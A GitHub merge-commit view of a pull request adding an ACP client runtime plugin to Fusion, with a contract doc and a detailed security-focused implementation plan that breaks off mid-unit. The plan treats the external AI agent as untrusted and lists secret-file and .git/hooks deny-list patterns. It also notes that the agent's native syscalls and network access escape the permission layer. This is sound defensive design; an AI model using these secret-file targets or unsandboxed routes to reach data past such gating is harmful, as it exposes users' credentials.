Merge pull request #1354 from Runfusion/gsxdsm/acp

feat: ACP (Agent Client Protocol) client runtime plugin
This commit is contained in:
gsxdsm
2026-06-03 17:37:29 -07:00
committed by GitHub
45 changed files with 5836 additions and 0 deletions

View File

@@ -0,0 +1,17 @@
---
"@runfusion/fusion": minor
---
Add an ACP (Agent Client Protocol) client runtime plugin (`runtimeId: "acp"`)
that drives any external ACP-compatible agent over JSON-RPC/stdio, built on the
official `@agentclientprotocol/sdk`. Installed on demand (experimental).
The agent runs as an untrusted subprocess that calls back into Fusion, so the
integration ships a defense-in-depth security floor: per-category permission
gating against the live policy (never a preset shortcut; `allow_once` only;
unmappable kinds and missing policy default-deny), an unrestricted-risk
acknowledgement that escalates blanket allows to approval under the allow-all
default, an opt-in filesystem capability behind a real symlink-resolving cwd jail
(realpath + `O_NOFOLLOW`, secret/`.git` deny-list, writes gated through the
permission policy), untrusted-output sanitization and bounds, and an env
allow-list for the subprocess.

66
docs/acp-contract.md Normal file
View File

@@ -0,0 +1,66 @@
# ACP (Agent Client Protocol) Runtime Contract
Date: 2026-06-03
Launch/readiness contract and failure taxonomy for `fusion-plugin-acp-runtime`,
which drives any external [Agent Client Protocol](https://agentclientprotocol.com)
agent over JSON-RPC/stdio. Mirrors the shape of `docs/cursor-cli-contract.md`.
## Transport
- **Newline-delimited JSON-RPC 2.0 over stdio** (no Content-Length framing).
Provided by `@agentclientprotocol/sdk` (`ndJsonStream` + `ClientSideConnection`).
- The client (Fusion) launches the agent as a subprocess with piped stdio. The
agent's stdin is the JSON-RPC *output* stream; its stdout is the *input* stream.
- `stderr` is captured (redacted) for diagnostics, never parsed as protocol.
## Invocation and binary detection
- Unlike a single-vendor CLI, ACP is a protocol — the agent binary + ACP-mode
flag are user-configured:
- `acpBinaryPath` — e.g. `gemini`, `npx`, or an absolute path.
- `acpArgs` — the flag(s) that put the agent in ACP/stdio mode, e.g. `["--acp"]`.
- The subprocess environment is built from the `acpEnvAllowList` allow-list only
(inherited `process.env` is **not** forwarded — the agent is untrusted).
## Readiness = the `initialize` handshake
There is no `--version` probe. Readiness is the protocol handshake itself:
1. Spawn the agent subprocess.
2. Send `initialize { protocolVersion: 1, clientCapabilities: { fs } }` under a
timeout (default 30s — research flagged Gemini-on-macOS OAuth and Claude-adapter
`session/new` stalls).
3. The agent responds with its integer `protocolVersion`, `agentCapabilities`,
and `authMethods`.
4. The client compares the integer protocol version; an unsupported version is a
hard failure (do not assume the agent errors first).
`fs` capabilities are advertised **only** when `acpFsRead`/`acpFsWrite` are
enabled (writes default OFF).
## Failure taxonomy (`probe.ts` `AcpProbeReason`)
| Reason | Trigger |
| --- | --- |
| `ok` | Handshake completed (with `authRequired: true` when `authMethods` is non-empty) |
| `missing_binary` | Spawn `ENOENT` (binary not found, code 127) |
| `spawn_error` | Other spawn failure |
| `handshake_timeout` | `initialize` did not complete within the bound (code 124) |
| `incompatible_protocol` | Agent negotiated an unsupported integer protocol version |
| `unauthenticated` | Agent requires an auth method the client cannot satisfy |
## Lifecycle / teardown
- The engine has no `AbortSignal` in the runtime contract; teardown enters via an
unawaited synchronous `dispose()` plus the process-registry kill. The
**registry SIGKILL is the authoritative no-orphan / no-deadlock guarantee**; a
best-effort `session/cancel` + pending-permission drain runs first when timing
allows but is opportunistic.
## Sources
- https://agentclientprotocol.com (introduction, schema, transports, initialization, tool-calls)
- `@agentclientprotocol/sdk` v0.24.0 — https://www.npmjs.com/package/@agentclientprotocol/sdk
- Validation: the SDK example echo agent (CI) + an in-repo controllable fixture
(`src/__tests__/fixtures/echo-agent.mjs`); Gemini CLI / Claude-adapter for manual e2e.

View File

@@ -0,0 +1,504 @@
---
title: "feat: Add ACP (Agent Client Protocol) client integration"
type: feat
status: completed
date: 2026-06-02
deepened: 2026-06-02
depth: deep
---
# feat: Add ACP (Agent Client Protocol) client integration
## Summary
Add a new `plugins/fusion-plugin-acp-runtime` plugin that lets Fusion drive **any** external Agent-Client-Protocol agent over JSON-RPC/stdio: spawn the agent subprocess, negotiate the `initialize` handshake, open and prompt sessions, stream `session/update` notifications into Fusion's runtime callbacks, and route the agent's `session/request_permission` requests into Fusion's permission/approval surface. Built generically against the official `@agentclientprotocol/sdk` (no single reference agent), validated in CI against the SDK's example echo agent.
---
## Problem Frame
Fusion's thesis (see `STRATEGY.md`) is to be the model- and surface-agnostic orchestration layer, with a plugin ecosystem so it adapts as agents evolve. Today every agent integration is bespoke: `plugins/fusion-plugin-droid-runtime` drives the Droid CLI, `fusion-plugin-cursor-runtime` drives Cursor, `fusion-plugin-hermes-runtime`, `fusion-plugin-openclaw-runtime`, and `packages/pi-claude-cli` (now a thin shim) each hand-roll a subprocess transport, a stdout parser, and an event bridge for one specific tool.
ACP is an open, versioned protocol (Zed Industries; protocol version `1`) that standardizes exactly this client↔agent contract. A single ACP-client integration unlocks **every** ACP-compatible agent — Gemini CLI, the Claude Code ACP adapter, and any future agent that speaks the protocol — through one well-specified surface instead of N bespoke ones. This is the highest-leverage expression of the "ecosystem breadth" and "neutral by design" tracks.
Two facts from research make this a distinct shape from the existing integrations:
1. Every current integration is **one-shot / request-scoped** (write one NDJSON turn, read stdout, force-kill). ACP is a **persistent, bidirectional JSON-RPC peer** over stdio: the agent calls *back into the client* mid-turn (permission prompts, filesystem reads). The transport core is genuinely new.
2. The official `@agentclientprotocol/sdk` (TypeScript, Apache-2.0, production-stable) provides the transport, framing, connection classes, and types — so the new work is integration and mapping, not protocol plumbing from scratch.
This plan covers the **client** direction only (Fusion drives external agents). The reverse direction (Fusion exposing *itself* as an ACP agent for editors like Zed) is explicitly out of scope.
---
## Requirements
- **R1** — Fusion can launch a configured ACP agent binary as a subprocess and complete the `initialize` capability handshake, including integer protocol-version negotiation and a readiness timeout.
- **R2** — Fusion can open a session (`session/new`), send a user turn (`session/prompt`), and receive the terminal `stopReason`.
- **R3** — Streaming `session/update` notifications (agent text, reasoning, tool calls, plan) are mapped onto the existing `AgentRuntime` callbacks (`onText`, `onThinking`, `onToolStart`, `onToolEnd`) so ACP agents appear in Fusion's UI/logs identically to existing runtimes.
- **R4** — The agent's `session/request_permission` requests are answered according to Fusion's agent permission policy, with correct cancellation semantics.
- **R5** — Run teardown (engine stuck-task detection / executor timeout) invokes the runtime's `dispose()` and force-kills the subprocess; no orphaned processes survive. A best-effort `session/cancel` + pending-permission drain runs first when teardown timing allows, but the **process-registry SIGKILL is the authoritative no-orphan / no-deadlock guarantee** — see KTD4a.
- **R6** — The plugin ships inside the published `@runfusion/fusion` CLI and is discoverable/selectable via the existing plugin-runtime resolution path (`runtimeId: "acp"`).
- **R7** — The integration is validated in CI with no API keys or network: the SDK example echo agent covers handshake + text passthrough, and a small **controllable in-repo fixture agent** deterministically exercises the security-floor paths the echo agent never reaches — `session/request_permission` (allow/deny/post-cancel), `fs/read|write`, `tool_call_*` updates, full-replace `plan` updates, and cancel-mid-prompt. Real agents (Gemini CLI, the Claude-adapter) remain manual e2e.
- **R8** — Third-party-integration evidence (upstream repo, docs, release, binary name, checksum/marker) is recorded per `AGENTS.md`.
**Success criteria:** a user can configure an ACP agent, assign a Fusion task/agent to `runtimeId: "acp"`, and watch the agent stream text + tool calls and honor the user's permission policy — with the same lifecycle guarantees (abort, no orphans) as the Droid/Cursor runtimes.
---
## Key Technical Decisions
- **KTD1 — Build as a runtime plugin (`plugins/fusion-plugin-acp-runtime`), not a `packages/*-cli` package.** Research confirmed the `packages/pi-claude-cli` / `droid-cli` packages are now thin compatibility shims; the canonical integration shape is a first-class plugin under `plugins/` using `@fusion/plugin-sdk`'s `definePlugin` with a `runtime` manifest + `AgentRuntime` adapter (see `plugins/fusion-plugin-droid-runtime` and `fusion-plugin-cursor-runtime`). This is the resolution of the planning-time "integration shape" fork: follow the established plugin-runtime pattern for consistency and discovery (`getRuntimeById`). The dashboard `uiSlots` cards (settings/onboarding) are available via the same shape but are deferred to follow-up in v1 (see Scope Boundaries) — the runtime is selectable without them.
- **KTD2 — Depend on `@agentclientprotocol/sdk` (Apache-2.0), API-verified at install; do not hand-roll JSON-RPC or vendor schema.** The SDK provides `ClientSideConnection`, the `Client` interface, `ndJsonStream`, the `PROTOCOL_VERSION` constant, and all request/response types tracking the canonical schema. Hand-rolling newline-delimited JSON-RPC framing or vendoring types would duplicate a maintained dependency. **Caveat:** the SDK is v0.24.0, released 2026-06-02 and not yet installed here — "stable" is an external claim, not verified locally. Pin the version and **verify the named exports at install (U1) before designing against them** — a breaking export collapses U2 and the no-plumbing premise, so it is a U1 blocker. License is compatible with the repo (MIT workspace). Per `AGENTS.md` external-integration evidence, the dependency and the agent binaries it targets must be cited in PROMPT.md. _(see external research: agentclientprotocol.com, npm `@agentclientprotocol/sdk`.)_
- **KTD3 — Consume the gate context Fusion already threads into every runtime; no contract change.** The ACP `Client.requestPermission` handler must answer synchronously (the agent blocks on it). The engine's canonical `AgentRuntimeOptions` (`packages/engine/src/agent-runtime.ts:35-106`) **already carries `actionGateContext?: AgentActionGateContext`** (line 103), it is **already populated per-run** at every call site via `buildActionGateContext(...)` (`executor.ts:4303/4720/3630`, `agent-heartbeat.ts:2579`, `step-session-executor.ts`), and it **already reaches the runtime** through the single funnel `createResolvedAgentSession` (`agent-session-helpers.ts:335`). `AgentActionGateContext` (`agent-action-gate.ts:30`) already bundles `permissionPolicy` plus the closures the HITL flow needs (`createApprovalRequest`, `findApprovalByDedupeKey`, `pauseForApproval`, `markApprovalCompleted`). So the ACP runtime simply **reads `options.actionGateContext`** in `createSession`, persists it on the session, and the `requestPermission` handler classifies each call via `evaluateAgentActionGate` + `resolveGateOutcome`. _(This corrects an earlier premise that the shared contract had no permission channel — it does, and `plugins/fusion-plugin-droid-runtime/src/types.ts:110` is a plugin-local structural copy the engine never imports. The discarded alternative of adding an `onPermissionRequest?` callback to the contract is unnecessary and would create a redundant second channel to the same approval store.)_ To keep the boundary clean, the plugin depends on a **narrow local `PermissionGate` interface** (the closures + policy it uses), accepting the structurally-compatible `actionGateContext` rather than importing `@fusion/engine` internals.
- **KTD3a — Per-category gating is the v1 floor, not a deferred enhancement (security-critical).** Fusion's shipped default policy is `unrestricted` (`DEFAULT_AGENT_PERMISSION_POLICY_PRESET_ID = "unrestricted"`), which maps every action category to `allow`. A naive preset→outcome mapping would therefore auto-approve **every** tool call of an untrusted external subprocess the moment a user selects the ACP runtime without changing policy. The `requestPermission` floor (U5) must classify each `toolCall.kind` into a gate category and consult the **per-category disposition** (`permissionPolicy.rules[category]`), never the preset id: categories set to `block` reject, `require-approval` either routes to the HITL approval flow or — when no human channel is available — **default-denies**, and only categories explicitly `allow` auto-approve. ACP's `toolCall.kind` is agent-defined, optional, and partial (U4); a **missing or unmappable `kind` must map to the most-restrictive category and default-deny**, never fall through to allow — otherwise an unclassifiable call under the `unrestricted` default reopens S1. See Risk S1.
- **KTD4 — Reuse the proven subprocess hardening conventions verbatim.** Self-cleaning process registry (`registerProcess`/`killAllProcesses` on `exit`), async non-blocking presence/auth probes (resolve timeout code `124` / ENOENT `127`), stderr buffering surfaced on non-zero exit, and a high inactivity ceiling (the engine's `StuckTaskDetector` is the authoritative aborter). `killAll` is scoped to agent subprocesses only — never the dashboard/port-4040 (per existing kill-guard conventions).
- **KTD4a — Teardown enters via synchronous `dispose()`, not a threaded `AbortSignal`; graceful cancel is opportunistic.** The canonical `AgentRuntime` contract (`packages/engine/src/agent-runtime.ts`) carries **no** `AbortSignal`, and the engine invokes teardown as an **unawaited synchronous `session.dispose()`** (`StuckTaskDetector`, executor timeout race) plus the `process.on("exit")` registry kill — the Droid adapter's `promptWithFallback` ignores its options arg entirely. So ACP cannot rely on an `AbortSignal` arriving via `promptWithFallback`. The ACP `dispose()` issues a best-effort `session/cancel` and resolves already-pending `requestPermission` promises with `{ cancelled }` synchronously, but because `dispose()` is not awaited, the JSON-RPC notification flush and any grace window may not complete — **the real guarantee is the registry SIGKILL.** "No agent deadlock" rests on the kill, not the drain; the drain is opportunistic cleanup. The plan does not assume a graceful round-trip the engine cannot await.
- **KTD5 — v1 passes an empty `mcpServers` at `session/new`; Fusion-custom-tool forwarding via MCP is deferred.** Keeps v1 bounded. The agent operates over its `cwd` (the task worktree). Forwarding Fusion's custom pi-tools to the ACP agent (reusing the `mcp-config.ts` + `mcp-schema-server.cjs` schema-server machinery) is follow-up work. _(Confirmed scope decision.)_
- **KTD6 — Filesystem client capabilities are config-gated and default to a conservative posture (security-critical).** Many ACP agents rely on client-side `fs/read_text_file` / `fs/write_text_file` when sandboxed, but granting an untrusted subprocess read+write into the worktree by default is the wrong posture. Therefore: capabilities are advertised in `initialize` **only when the resolved settings enable them** (U2 reads the toggle, never hardcodes `true`); **`writeTextFile` defaults OFF** (opt-in per agent/project); `fs/write_text_file` is treated as a `file_write_delete` action-gate category (subject to the same permission policy as U5), not a free capability; and path access is confined by a dedicated realpath-resolving jail (see KTD6a). Terminal capabilities (`terminal/create`, `terminal/output`, …) are deferred — see KTD6b for the trust-boundary consequence.
- **KTD6a — Filesystem confinement uses a real symlink-resolving jail, not a string-prefix check.** `packages/core/src/project-root-guard.ts` is a `.fusion`-suffix / git-worktree string check, **not** a path jail — it must not be reused for fs confinement. A dedicated `assertPathWithinCwd` helper must: resolve the real path with `fs.realpath` (following all symlinks), verify it is within the realpath of the session `cwd`, perform the check and the open atomically (`O_NOFOLLOW` on the final component or open-then-`fstat`-validate) to close TOCTOU, reject absolute paths / NUL bytes / separator tricks, and apply a **deny-list regardless of cwd membership**: hard-reject writes to `.git/**` (esp. `.git/hooks`, `.git/config` → RCE/token surface) and deny or gate reads of secret patterns (`.env*`, `*.pem`, `*.key`, `.npmrc`, `.netrc`, `id_*`, `credentials`) that legitimately live inside the worktree. See Risk S3.
- **KTD6b — The agent's native syscalls are NOT sandboxed in v1; state the real trust boundary.** ACP permissions (U5) and fs confinement (U7) constrain only *protocol-mediated* actions. The agent subprocess runs with Fusion's user privileges and can spawn child processes and reach the network directly (and would fall back to that if it needed the deferred `terminal/*`). v1 mitigations: `cli-spawn.ts` builds the subprocess `env` from an **allow-list**, not inherited `process.env` (strip secret-bearing vars). OS-level sandboxing of the agent process (restricted uid / seccomp / `sandbox-exec` / container) is recommended but deferred. See Risk S6.
---
## High-Level Technical Design
### Component shape
The plugin mirrors the `fusion-plugin-droid-runtime` module split, with the bespoke NDJSON transport replaced by the ACP SDK connection.
```mermaid
flowchart TB
subgraph engine["@fusion/engine"]
RR["runtime-resolution.ts<br/>getRuntimeById('acp')"]
GATE["agent-action-gate.ts<br/>+ ApprovalRequestStore"]
end
subgraph plugin["plugins/fusion-plugin-acp-runtime"]
IDX["index.ts<br/>definePlugin + runtime factory"]
ADP["runtime-adapter.ts<br/>AgentRuntime impl"]
PROV["provider.ts<br/>session driver"]
PROC["cli-spawn.ts / process-manager.ts<br/>spawn + lifecycle + probe"]
BRIDGE["event-bridge.ts<br/>session/update → callbacks"]
PERM["control-handler.ts<br/>requestPermission resolver"]
FSCAP["fs-capabilities.ts<br/>fs/read|write handlers"]
TYPES["types.ts"]
end
SDK["@agentclientprotocol/sdk<br/>ClientSideConnection · ndJsonStream"]
AGENT["external ACP agent<br/>(subprocess)"]
RR --> IDX --> ADP --> PROV
PROV --> PROC --> AGENT
PROV --> SDK <--> AGENT
PROV --> BRIDGE --> ADP
PROV --> PERM --> GATE
PROV --> FSCAP
```
### Protocol lifecycle (one prompt turn)
```mermaid
sequenceDiagram
participant F as Fusion (provider.ts)
participant S as SDK ClientSideConnection
participant A as ACP Agent (subprocess)
F->>A: spawn(binary, args), stdio pipes
F->>S: ndJsonStream(stdin, stdout) → ClientSideConnection(Client impl)
F->>A: initialize{protocolVersion:1, clientCapabilities}
A-->>F: {protocolVersion:1, agentCapabilities, authMethods}
opt authMethods non-empty
F->>A: authenticate{methodId}
end
F->>A: session/new{cwd, mcpServers:[]}
A-->>F: {sessionId, modes}
F->>A: session/prompt{sessionId, prompt[]}
loop streaming
A--)F: session/update (content_chunk / tool_call_* / plan)
Note over F: event-bridge → onText/onThinking/onToolStart/onToolEnd
opt agent needs approval
A->>F: session/request_permission{toolCall, options}
F->>A: {outcome: selected, optionId} | {outcome: cancelled}
end
opt agent reads/writes file
A->>F: fs/read_text_file | fs/write_text_file
F-->>A: {content} | {}
end
end
A-->>F: session/prompt → {stopReason}
Note over F: drain updates, push terminal done
opt abort
F--)A: session/cancel (notification)
Note over F: respond {cancelled} to all pending permission reqs, then SIGKILL fallback
end
```
_Diagrams render authoritative design intent; prose governs on any disagreement._
---
## Output Structure
```
plugins/fusion-plugin-acp-runtime/
├── manifest.json # id + runtime{ runtimeId:"acp" }
├── package.json # @agentclientprotocol/sdk dep; pi peerDeps; private
├── tsconfig.json
├── vitest.config.ts
├── README.md # integration notes + UPSTREAM evidence
├── src/
│ ├── index.ts # definePlugin: manifest + runtime factory + uiSlots
│ ├── runtime-adapter.ts # AgentRuntime: createSession/promptWithFallback/describeModel/dispose
│ ├── provider.ts # ACP session driver (connection, prompt, lifecycle)
│ ├── cli-spawn.ts # resolveCliSettings (binary, args, acp flag)
│ ├── process-manager.ts # spawn, registry, dispose→cancel→kill, stderr, idle timeout
│ ├── probe.ts # async presence/handshake readiness probe + failure taxonomy
│ ├── prompt-builder.ts # build ACP ContentBlock[] from prompt (text/image)
│ ├── event-bridge.ts # session/update → AgentRuntime callbacks (+ output bounds)
│ ├── tool-mapping.ts # ACP tool kind/title → display name; arg normalization
│ ├── control-handler.ts # requestPermission: per-category gate resolver + HITL
│ ├── fs-capabilities.ts # fs/read_text_file + fs/write_text_file handlers
│ ├── path-jail.ts # assertPathWithinCwd: realpath jail + deny-list
│ ├── sanitize.ts # strip ANSI/control from untrusted agent strings
│ ├── types.ts # ACP-adjacent local types + local PermissionGate
│ └── __tests__/ # one *.test.ts per module
└── (no mcp-schema-server.cjs in v1 — MCP forwarding deferred, KTD5)
```
The per-unit `**Files:**` lists are authoritative; this tree is the scope declaration.
---
## Implementation Units
### U1. Scaffold the `fusion-plugin-acp-runtime` plugin and wire it into the workspace
**Goal:** A loadable, empty-but-valid runtime plugin registered as `runtimeId: "acp"`, with the ACP SDK dependency installed.
**Requirements:** R6, R8 (partial)
**Dependencies:** none
**Files:**
- `plugins/fusion-plugin-acp-runtime/manifest.json` (new)
- `plugins/fusion-plugin-acp-runtime/package.json` (new) — add `@agentclientprotocol/sdk` dependency, `@fusion/plugin-sdk` workspace dep, pi peerDeps, `private: true`, `keywords: ["fusion-plugin","acp","runtime"]`
- `plugins/fusion-plugin-acp-runtime/tsconfig.json`, `vitest.config.ts` (new)
- `plugins/fusion-plugin-acp-runtime/src/index.ts` (new) — `definePlugin({ manifest, runtime: { metadata, factory }, uiSlots })`
- `plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts` (new) — `AgentRuntime` skeleton
- `plugins/fusion-plugin-acp-runtime/src/types.ts`, `cli-spawn.ts` (new)
- `pnpm-workspace.yaml` (modify) — add `plugins/fusion-plugin-acp-runtime`
- `plugins/fusion-plugin-acp-runtime/src/__tests__/index.test.ts` (new)
**Approach:** **First, verify the SDK.** `@agentclientprotocol/sdk` v0.24.0 was released 2026-06-02 (the plan's authoring day) and is not yet installed in the workspace — so before anything is designed against it, install it and add a smoke-import test asserting the load-bearing exports exist with the assumed shapes (`ClientSideConnection`, `ndJsonStream`, `PROTOCOL_VERSION`, the `Client` interface). A missing/renamed export is a **U1 blocker**, not a late surprise in U2 — the whole "no protocol plumbing from scratch" premise (KTD2) depends on these. Then mirror `plugins/fusion-plugin-droid-runtime/src/index.ts` and `manifest.json`: runtime metadata `{ runtimeId: "acp", name: "ACP Runtime", … }`; `runtime-adapter.ts` implements the **full** `AgentRuntime` interface (`plugins/fusion-plugin-droid-runtime/src/types.ts:128`) — `createSession`, `promptWithFallback`, **`describeModel` (required — returns e.g. the agent binary name + negotiated mode)**, and `dispose` — with stubs that throw `not_implemented` until later units. `cli-spawn.ts` provides `resolveCliSettings(settings)` returning `{ binaryPath, args, env }` from plugin settings.
**Patterns to follow:** `plugins/fusion-plugin-droid-runtime` (index, manifest, package.json, runtime-adapter shape including `describeModel`).
**Test scenarios:**
- **SDK smoke-import:** `ClientSideConnection`, `ndJsonStream`, and `PROTOCOL_VERSION` are importable from `@agentclientprotocol/sdk` and have the expected shapes; a missing export fails the test (blocks the unit).
- Plugin module default-export is a valid `FusionPlugin`; `manifest.runtime.runtimeId === "acp"`.
- `definePlugin` does not throw at import; `runtime.factory(ctx)` returns an object conforming to `AgentRuntime` (has `id`, `name`, `createSession`, `promptWithFallback`, **`describeModel`**).
- `resolveCliSettings` returns defaults when given `undefined` and honors an explicit `binaryPath`/`args` override.
- Test expectation for stubs: `createSession`/`promptWithFallback` reject with a recognizable `not_implemented` marker (placeholder until U3).
---
### U2. ACP transport, handshake, and subprocess lifecycle
**Goal:** Spawn the agent, establish a `ClientSideConnection`, complete `initialize` with version negotiation and a readiness timeout, and provide hardened spawn/abort/teardown with a presence probe.
**Requirements:** R1, R5
**Dependencies:** U1
**Files:**
- `plugins/fusion-plugin-acp-runtime/src/process-manager.ts` (new) — `spawnAgent`, process registry (`registerProcess`/`killAllProcesses`), `forceKill`, stderr capture, idle timeout
- `plugins/fusion-plugin-acp-runtime/src/probe.ts` (new) — async `validateAgentPresence` / `validateAcpReadiness`
- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (new, partial) — `connect()`: `spawn` → `ndJsonStream(Writable.toWeb(stdin), Readable.toWeb(stdout))` → `new ClientSideConnection(clientImpl, stream)` → `initialize`
- `plugins/fusion-plugin-acp-runtime/src/__tests__/process-manager.test.ts`, `probe.test.ts`, `provider-handshake.test.ts` (new)
- `package.json` (modify) — devDependency on the ACP SDK example agent (or pin a tiny in-repo echo agent fixture)
- `plugins/fusion-plugin-acp-runtime/src/__tests__/fixtures/controllable-agent.ts` (new) — a deterministic in-repo ACP agent that, on command, issues `session/request_permission`, `fs/read|write`, `tool_call_*`, `plan` replacement, and a post-cancel permission request, so U5/U6/U7 security-floor tests run against a real callback-capable peer (R7)
**Approach:** Spawn with `stdio: ["pipe","pipe","pipe"]`, building the subprocess `env` from an **allow-list** (not inherited `process.env`) so secret-bearing vars are not handed to the untrusted agent (KTD6b). Wrap Node streams via `Writable.toWeb`/`Readable.toWeb` for `ndJsonStream`. Send `initialize{ protocolVersion: PROTOCOL_VERSION, clientCapabilities: { fs: <gated> } }` where the `fs` capability flags are **read from resolved settings, never hardcoded `true`** — advertise `readTextFile`/`writeTextFile` only when enabled, and only because the U7 handlers exist (KTD6). Compare the agent's returned integer `protocolVersion`; if unsupported, close and surface a typed error (do not assume the agent errors first). Guard `initialize()` with a timeout (research notes Gemini-on-macOS and Claude-adapter stalls). For `authMethods` requiring interactive credentials, surface to the user rather than auto-supplying from ambient env; the auth handler must **not** read credentials from `process.env` (the env allow-list strips the *subprocess* env, not Fusion's own handler), credentials collected interactively are held **in-memory for the session lifetime only** (never written to disk), and **tokens/auth payloads are redacted from the stderr buffer and logs** (KTD4's stderr-on-failure surfacing would otherwise leak auth errors verbatim — Risk S8). If no interactive auth surface exists in v1, reject with a descriptive error rather than building an undeclared UI. Process registry self-cleans on `proc.on("exit")`; `process.on("exit", killAllProcesses)` registered in `index.ts`. Teardown is registry-SIGKILL-authoritative with best-effort `session/cancel` (KTD4a); the registry kill is what removes the process, not the cancel round-trip. Idle ceiling high (engine is authoritative aborter). Probe failure taxonomy: missing binary (`127`), handshake timeout (`124`), incompatible protocol version, unauthenticated.
**Execution note:** Start with a failing integration test driving the SDK example echo agent through `initialize`.
**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/process-manager.ts` (registry, async probes, stderr buffering, kill grace); `probe.ts` failure-taxonomy pattern; `docs/cursor-cli-contract.md`.
**Test scenarios:**
- Happy path: spawning the example agent and sending `initialize` returns a compatible `protocolVersion` and agent capabilities.
- Version mismatch: agent returns an unsupported integer → connection closes with a typed `incompatible_protocol` error, no hang.
- `initialize` timeout: agent never responds → rejects with `handshake_timeout` within the bound; subprocess force-killed.
- Spawn failure: nonexistent binary → probe resolves `missing_binary` (`127`), never throws into the event loop.
- Abort during handshake: `dispose()` / registry teardown → subprocess SIGKILLed, registry entry removed (no `AbortSignal` dependency — KTD4a).
- Registry: two spawned agents both removed from the active set on exit; `killAllProcesses` reaps survivors and does **not** target the dashboard port.
- Capability gating: with fs settings disabled, `initialize` advertises `fs` as absent/false; with them enabled, advertises true.
- Env allow-list: a secret-bearing var present in `process.env` is **not** present in the spawned agent's environment unless explicitly allow-listed.
- Auth redaction: a simulated auth error containing a token does not appear verbatim in captured stderr/logs.
---
### U3. Session lifecycle and prompt driving
**Goal:** Open/reuse a session, send a prompt turn, await `stopReason`, and support cancellation and resume — exposed through the `AgentRuntime` adapter.
**Requirements:** R2, R5
**Dependencies:** U2
**Files:**
- `plugins/fusion-plugin-acp-runtime/src/provider.ts` (modify) — `session/new` (`{ cwd, mcpServers: [] }`), `session/prompt`, `session/cancel`, `session/load`/`session/resume`, `session/close`
- `plugins/fusion-plugin-acp-runtime/src/runtime-adapter.ts` (modify) — `createSession` opens the connection + `session/new`; `promptWithFallback` drives `session/prompt`; `dispose` closes session + tears down process
- `plugins/fusion-plugin-acp-runtime/src/prompt-builder.ts` (new) — build ACP `ContentBlock[]` from the prompt string (text; image passthrough where present)
- `plugins/fusion-plugin-acp-runtime/src/__tests__/provider-session.test.ts`, `runtime-adapter.test.ts`, `prompt-builder.test.ts` (new)
**Approach:** `createSession(options)` connects (U2) and issues `session/new` with `options.cwd`. Persist on the session object: `sessionId`, `cwd`, and **`options.actionGateContext`** (already populated by the engine — KTD3) so the U5 permission handler and U7 fs handlers can reach the live gate and the confinement root. `promptWithFallback(session, prompt)` sends `session/prompt`, resolving the returned promise only after `stopReason` arrives (research pitfall: `session/prompt` resolves *after* all updates are delivered — drain the bridge before reporting done). Map `stopReason` (`end_turn` | `tool_calls` | `cancelled`) to terminal completion. **Teardown enters via `dispose()` (KTD4a), not an `AbortSignal`** — `dispose()` issues a best-effort `session/cancel` **notification** (fire-and-forget; no ack), drains already-pending permission promises with `{ cancelled }` synchronously, then the registry SIGKILL is the authoritative guarantee. Because the engine calls `dispose()` unawaited, treat the cancel/drain as opportunistic, not guaranteed. Resume: prefer `session/load` (replay history) vs `session/resume` (no replay) based on whether prior transcript is needed; expose via the adapter's session-file/resume path.
**Execution note:** Drive a full turn against the example agent before adding mapping detail.
**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/runtime-adapter.ts` (createSession/promptWithFallback shape, callback wiring); `provider.ts` terminal-event discipline.
**Test scenarios:**
- Happy path: `createSession` → `promptWithFallback("hello")` against the example agent resolves after `stopReason` with the echoed text delivered via `onText`.
- Cancellation: abort mid-prompt → `session/cancel` sent; promise resolves with a `cancelled` outcome; no further callbacks fire after resolution.
- Resume: a session opened with a prior `sessionId`/transcript uses `session/load`; a no-replay resume uses `session/resume`.
- `dispose` closes the session and tears down the subprocess; idempotent if called twice.
- `createSession` persists `actionGateContext` and `cwd` on the session; both are reachable from a mock `requestPermission` / fs handler.
- Prompt builder: plain text → single text `ContentBlock`; an image-bearing prompt produces an image block; empty prompt handled.
- Ordering: prompt promise does not resolve before the last `session/update` for the turn is drained (guard against truncation).
---
### U4. `session/update` → runtime-callback event bridge
**Goal:** Translate every relevant `session/update` variant into the `AgentRuntime` callbacks so ACP agents render identically to existing runtimes.
**Requirements:** R3
**Dependencies:** U3
**Files:**
- `plugins/fusion-plugin-acp-runtime/src/event-bridge.ts` (new) — `handleSessionUpdate(update, callbacks)`
- `plugins/fusion-plugin-acp-runtime/src/tool-mapping.ts` (new) — ACP tool `kind`/`title` → display name; arg normalization
- `plugins/fusion-plugin-acp-runtime/src/__tests__/event-bridge.test.ts`, `tool-mapping.test.ts` (new)
**Approach:** Discriminate on `sessionUpdate` tag:
- `content` / `content_chunk` (text `ContentBlock`) → `onText`. Apply delta-space normalization across split chunks (known downstream bug in existing bridges).
- thought/reasoning chunk → `onThinking`.
- `tool_call_started` (`ToolCallUpdate`) → `onToolStart(title/kind, rawInput)`; `tool_call_finished` → `onToolEnd(title, status === "failed", rawOutput/content)`. Track calls by stable `toolCallId`; updates are partial (all fields except `toolCallId` optional).
- `plan` → surface as a thinking/log line; **treat each plan update as a full-list replacement, never append** (research pitfall).
- `available_commands_update` / `current_mode_update` / `config_option_update` → store/log; no callback surface in v1.
**Patterns to follow:** `plugins/fusion-plugin-droid-runtime/src/event-bridge.ts` (tolerant partial parse, empty-args → `{}` default, "don't push done early", `normalizeStreamingDelta`).
**Test scenarios:**
- `content_chunk` sequence reconstructs the full agent message via successive `onText` calls; dropped inter-chunk space is repaired.
- A thought chunk routes to `onThinking`, not `onText`.
- Tool-call lifecycle: `tool_call_started` → `onToolStart` with mapped title; later `tool_call_finished` with `status:"failed"` → `onToolEnd(..., isError=true)`; same `toolCallId` correlates start/end.
- Plan update: two successive `plan` updates → the second fully replaces the first (no accumulation/duplication).
- Unknown/forward-compat `sessionUpdate` tag is ignored without throwing.
- Tool mapping: an `execute`-kind call with no `title` falls back to a sensible label; missing `rawInput` does not crash.
---
### U5. `session/request_permission` — per-category gate floor, HITL approval, and cancellation safety
**Goal:** Answer the agent's permission requests by classifying each call through Fusion's action gate (consuming the already-threaded `actionGateContext`), routing `require-approval` to the human approval flow, defaulting safely when no human is available, and guaranteeing pending requests are drained on cancel so the agent never deadlocks.
**Requirements:** R4, R5
**Dependencies:** U3
**Files:**
